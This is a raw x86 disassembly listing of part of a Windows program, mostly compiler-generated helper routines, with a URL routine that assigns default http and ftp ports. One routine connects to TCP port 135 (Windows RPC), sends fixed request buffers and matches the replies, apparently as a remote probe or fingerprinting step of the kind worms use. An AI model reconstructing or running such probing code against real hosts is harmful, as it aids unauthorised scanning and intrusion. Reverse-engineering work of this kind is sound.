push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421433
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42141C
mov dword ptr [esi+54h], 50h
loc_42141C: ; CODE XREF: sub_420F10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421433
mov dword ptr [esi+54h], 15h
loc_421433: ; CODE XREF: sub_420F10+3DBj
; sub_420F10+4F3j ...
push offset asc_4453F0 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013ED
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E47
push offset asc_4453F0 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013ED
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_4453F0 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013ED
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_4453F0 ; "/"
mov ecx, esi
call sub_4015E1
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016C7
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421519: ; CODE XREF: sub_420F10+2Aj
; sub_420F10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420F10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4216D0 proc near ; CODE XREF: sub_401AFFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4216FB
loc_4216E4: ; CODE XREF: sub_4216D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421702
inc eax
cmp eax, edx
jl short loc_4216E4
loc_4216FB: ; CODE XREF: sub_4216D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421702: ; CODE XREF: sub_4216D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4216D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421720: ; CODE XREF: ___:004020B8j
mov eax, 2010h
call sub_437B30
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42176D
dec eax
jz short loc_421747
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421747: ; CODE XREF: ___:00421738j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402022
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42176D: ; CODE XREF: ___:00421735j
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4218C9
cmp esi, 0FFFFFFFFh
jz loc_4218C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2B66h
nop
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40188E
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jz loc_4218C2
mov ebp, dword_511CA0
push 0
push 48h
push offset dword_444DB8
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4218C2
mov edi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi ; recv
cmp eax, 0FFFFFFFFh
jz loc_4218C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4218C2
push 0
push 18h
push offset dword_444E2C
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4218C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi ; recv
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4218C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4218C2
push 10h
push offset loc_444E04
lea eax, [esp+24h]
push edi
push eax
call sub_401AFF
add esp, 10h
test al, al
jz short loc_421891
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421891: ; CODE XREF: ___:0042186Ej
push 10h
push offset dword_444E18
lea edx, [esp+24h]
push edi
push edx
call sub_401AFF
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4218C2: ; CODE XREF: ___:004217DBj
; ___:004217F6j ...
push esi
nop
call near ptr 71AB9639h
loc_4218C9: ; CODE XREF: ___:0042177Ej
; ___:00421787j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421950: ; CODE XREF: ___:00401A0Fj
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421970 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421970 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219B0 proc near ; CODE XREF: sub_4018E8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401910
sub_4219B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219F0 proc near ; CODE XREF: sub_401825j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40197E
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401956
sub_4219F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A60 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401EDD
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421AA0 proc near ; CODE XREF: sub_40197Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421AA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AD0 proc near ; CODE XREF: sub_402185j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40197E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40190B
sub_421AD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B10 proc near ; CODE XREF: sub_40170Dj
push esi
mov esi, ecx
call sub_4019FB
mov eax, esi
pop esi
retn
sub_421B10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421B50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B80 proc near ; CODE XREF: sub_401811j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40201D
neg al
sbb eax, eax
inc eax
retn 4
sub_421B80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BB0 proc near ; CODE XREF: sub_4016EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421BB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013F7
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401465
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021DA
sub_421BF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C60 proc near ; CODE XREF: sub_401465j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D89
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421C60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421CA0 proc near ; CODE XREF: sub_4013F7j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D89
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421CA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013F7
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BC2
sub_421CD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D10 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421D10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421D30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D50 proc near ; CODE XREF: sub_401839j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D5C
neg al
sbb eax, eax
inc eax
retn 4
sub_421D80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421DB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401EEC
mov edi, eax
push edi
call sub_401B31
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421DB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B31
push edi
mov [eax], ebx
call sub_401B31
mov edi, [eax]
push edi
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E5B
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D98
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E50 proc near ; CODE XREF: sub_40190Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401D07
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401910
sub_421E50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401D07
push edi
mov [eax], ebx
call sub_401D07
mov edi, [eax]
push edi
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017F3
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_4019A6j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jz short loc_421F4A
loc_421F08: ; CODE XREF: sub_421EF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020D6
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A2D
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jnz short loc_421F08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421F4A: ; CODE XREF: sub_421EF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421F80 proc near ; CODE XREF: sub_401910j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401E0B
sub_421F80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421F95
mov edi, esi
loc_421F95: ; CODE XREF: ___:00421F91j
push esi
call sub_40206D
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421FAA
mov edi, esi
loc_421FAA: ; CODE XREF: ___:00421FA6j
push esi
call sub_401D07
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FD0 proc near ; CODE XREF: sub_401956j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401550
sub_421FD0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421FF0 proc near ; CODE XREF: sub_40206Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421FF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422010 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422010 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422030 proc near ; CODE XREF: sub_4019FBj
mov eax, ecx
retn
sub_422030 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_401EDDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401523
mov eax, esi
pop esi
retn 4
sub_422050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422080 proc near ; CODE XREF: sub_40201Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_422080 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220B0 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018F7
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_4220B0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013E8
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D89
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4221AA
loc_422168: ; CODE XREF: sub_422150+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019BA
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B90
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422168
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4221AA: ; CODE XREF: sub_422150+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422150 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4221E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020DB
sub_4221E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4221F5
mov edi, esi
loc_4221F5: ; CODE XREF: ___:004221F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42220A
mov edi, esi
loc_42220A: ; CODE XREF: ___:00422206j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422230 proc near ; CODE XREF: sub_4021DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018F2
sub_422230 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422250 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422270 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422270 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422290 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422290 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222B0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018FC
mov eax, esi
pop esi
retn 4
sub_4222B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222E0 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4222E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422310 proc near ; CODE XREF: sub_401E5Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A3C
add esp, 8
retn 8
sub_422310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422340 proc near ; CODE XREF: sub_401A2Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020D6
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40206D
push esi
mov ebx, eax
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401D07
push esi
mov ebx, eax
call sub_40206D
mov eax, [eax]
push eax
call sub_401D07
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_40163B
push esi
mov ecx, edi
call sub_401956
sub_422340 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422400 proc near ; CODE XREF: sub_401D07j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422400 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422420 proc near ; CODE XREF: sub_401E0Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_422420 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422450 proc near ; CODE XREF: sub_401550j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422450 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422470 proc near ; CODE XREF: sub_4017F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40203B
add esp, 8
retn 8
sub_422470 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224A0 proc near ; CODE XREF: sub_401523j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4224A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4224C0 endp
